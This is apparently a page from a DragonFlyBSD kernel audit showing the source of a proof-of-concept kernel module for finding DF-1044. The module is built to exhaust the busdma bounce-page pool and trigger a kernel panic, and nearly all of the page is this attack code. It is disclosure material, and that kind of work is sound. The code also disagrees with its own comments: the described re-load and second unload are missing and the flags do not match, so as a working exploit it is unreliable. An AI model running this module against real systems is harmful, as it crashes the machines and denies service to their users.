DragonFlyBSD Kernel Audit
DF-1044 / busdma_bounce_waiter.c
← back to finding ↓ download raw
/*
 * DF-1044 PoC skeleton: vkernel busdma bounce-waiter panic.
 *
 * This is a loadable kld module skeleton for the DragonFlyBSD vkernel.  It
 * creates a bounce-capable bus_dma tag and drives bus_dmamap_load() across
 * many maps until the bounce pool is exhausted, forcing the WAITOK load
 * path onto the waiting list; the subsequent bus_dmamap_unload of a
 * completed map triggers add_map_callback() -> unconditional panic at
 * busdma_machdep.c:1215 ("add_map_callback uncoded").
 *
 * Build:  see README.md in this directory
 * Load:   kldload ./busdma_bounce_waiter.ko
 *
 * This file is a template.  Adapter glue for the exact vkernel kld ABI
 * (DECLARE_MODULE, bus_dma helpers, callout/thread wakeup) is standard
 * DragonFlyBSD practice; the security-relevant sequence is the
 * tag/map/load/unload pattern below.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/mbuf.h>
#include <sys/malloc.h>
#include <machine/bus.h>
#include <sys/bus_dma.h>

#define NMAPS    1100           /* > MAX_BPAGES (1024) */
#define BUFSIZE  (64 * PAGE_SIZE)

static bus_dma_tag_t   bbw_tag;
static bus_dmamap_t    bbw_maps[NMAPS];
static char           *bbw_bufs[NMAPS];
static struct mtx      bbw_lock = MTX_INITIALIZER;

static void
bbw_cb(void *arg, bus_dma_segment_t *segs, int nseg, int error)
{
	/* no-op callback; the load just needs to succeed enough times to
	 * exhaust the bounce pool. */
}

static void
bbw_drive(void *arg __unused)
{
	int i;

	for (i = 0; i < NMAPS; i++) {
		bbw_bufs[i] = kmalloc(BUFSIZE, M_DEVBUF, M_WAITOK | M_ZERO);
		bus_dmamap_create(bbw_tag, 0, &bbw_maps[i]);
	}

	/* First 1024-ish loads succeed and reserve all bounce pages. */
	for (i = 0; i < 1024; i++) {
		bus_dmamap_load(bbw_tag, bbw_maps[i], bbw_bufs[i], BUFSIZE,
		    bbw_cb, NULL, /*flags*/ 0);
	}

	/* Unload one to free pages, then trigger the panic by re-driving
	 * a load that puts a waiter on the queue, then unloading again. */
	bus_dmamap_unload(bbw_tag, bbw_maps[0]);

	/* The unload above calls free_bounce_page -> get_map_waiting ->
	 * add_map_callback -> panic("add_map_callback uncoded"). */
}

static int
bbw_load(module_t mod, int what, void *arg __unused)
{
	int err = 0;

	switch (what) {
	case MOD_LOAD:
		err = bus_dma_tag_create(
		    /*parent*/ NULL,
		    /*alignment*/ 1,
		    /*boundary*/ 0,
		    /*lowaddr*/ 0,                 /* forces BOUNCE */
		    /*highaddr*/ BUS_SPACE_MAXADDR,
		    /*filter*/ NULL,
		    /*filterarg*/ NULL,
		    /*maxsize*/ BUFSIZE,
		    /*nsegments*/ 1,
		    /*maxsegsz*/ BUFSIZE,
		    /*flags*/ 0,
		    /*lockfunc*/ busdma_lock_mutex,
		    /*lockarg*/ &bbw_lock,
		    &bbw_tag);
		if (err != 0) {
			kprintf("DF-1044: bus_dma_tag_create failed %d\n", err);
			return err;
		}
		kprintf("DF-1044: tag created, driving loads...\n");
		bbw_drive(NULL);
		/* If we get here, the panic didn't fire (default vkernel
		 * config has no bus_dma drivers; this kld is the trigger). */
		break;
	case MOD_UNLOAD:
		/* Tear-down omitted in skeleton. */
		break;
	default:
		break;
	}
	return 0;
}

static moduledata_t bbw_mod = { "busdma_bounce_waiter", bbw_load, NULL };
DECLARE_MODULE(busdma_bounce_waiter, bbw_mod, SI_SUB_EXEC, SI_ORDER_ANY);
MODULE_VERSION(busdma_bounce_waiter, 1);